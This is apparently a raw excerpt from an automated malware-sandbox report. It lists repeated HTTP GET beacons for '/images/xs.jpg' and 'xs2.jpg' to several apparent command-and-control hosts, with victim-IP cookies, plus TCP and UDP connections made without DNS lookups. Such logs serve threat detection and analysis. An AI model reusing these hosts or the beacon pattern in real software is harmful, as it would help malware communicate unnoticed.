Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9a758865=959888067 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159388|1720159210|4|40|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2c82c54b=-2054664223 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?6a0a1d8=1111904880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?ba935ee0=-1528767904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159391|1720159208|4|41|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?766eab11=1986964241 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159392|1720159209|4|41|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a84724a6=-1832423812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159393|1720159210|4|41|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?bd6ca73c=-345687584 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?868208e4=-1819927892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?de47d516=-796492346 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159396|1720159208|4|42|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7558a477=-1072440630 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159397|1720159209|4|42|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bd8cb32b=1900819202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159397|1720159210|4|42|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3bcd0466=1442982908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?53f8f427=-68494219 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d0624e0f=-498215846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159401|1720159208|4|43|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ba892148=1964130960 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159401|1720159209|4|43|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c23d225b=1336668285 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159402|1720159210|4|43|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?8d5908bb=-579912419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?726fcf90=1464823472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4f9cfd4b=-287901727 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159405|1720159208|4|44|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7f9835e0=2113473888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159406|1720159209|4|44|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bbc08714=859936060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159407|1720159210|4|44|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c82e6dfa=1098084304 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?f1d24191=-713636685 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?6d72debd=1805055464 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159411|1720159208|5|45|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ad82783c=429275676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159411|1720159209|4|45|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?83277979=211674596 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159412|1720159210|4|45|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a4ace5e6=1858140924 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8ace3555=-1966197419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1a12e219=1749780580 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159415|1720159208|4|46|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e8e2ac16=1968179332 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159415|1720159209|4|46|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1d23ecfe=-872711438 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159416|1720159210|4|46|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1c0afe0d=-1472072626 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ff1499a4=-30854328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?96b3ddc7=-243051293 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159419|1720159208|4|47|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e470f49d=1520810926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159420|1720159209|4|47|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?229aaa09=-1392160211 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159420|1720159210|4|47|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?27505c3e=1978733754 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?438725f0=-1555596448 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?98336238=812041328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159423|1720159208|4|48|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?254323e7=625157095 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159424|1720159209|4|48|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c5dbe75=2025553130 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159424|1720159210|4|48|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?91511b59=-694843203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d8491e75=1629780436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?72476109=-460406254 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159428|1720159208|4|49|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?f4c69117=-1506506568 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159428|1720159209|4|49|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?84b746ce=-1910123414 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159429|1720159210|4|49|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?64deb2e=105769774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?fa5e26a2=-188986044 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?11ea3939=-1589902591 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159432|1720159208|4|50|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?532c9a1d=1178089163 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159433|1720159209|4|50|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c2b7c0a5=-2056289974 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159434|1720159210|4|50|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2f612ca7=1589795150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8615d526=816752944 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f93bde4c=-681101880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159437|1720159208|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?bec5d02e=1011970186 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159438|1720159209|4|51|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?36d200da=303694914 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159438|1720159210|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3510fe43=-1467485672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?e9bb0874=558781576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?45a3fb7=730234150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159442|1720159208|4|52|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?b14fbec7=1003336959 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159442|1720159209|4|52|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c813930=1561082848 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159443|1720159210|4|52|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2b0eedca=39424700 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d0e92fe1=-1580048446 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?6340f643=-263925937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159446|1720159208|4|53|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4fd89b2a=-552361220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159447|1720159209|4|53|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b092bd4e=891856830 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159447|1720159210|4|53|0; snkz=8.46.123.33
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown UDP traffic detected without corresponding DNS query: 85.17.167.196
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
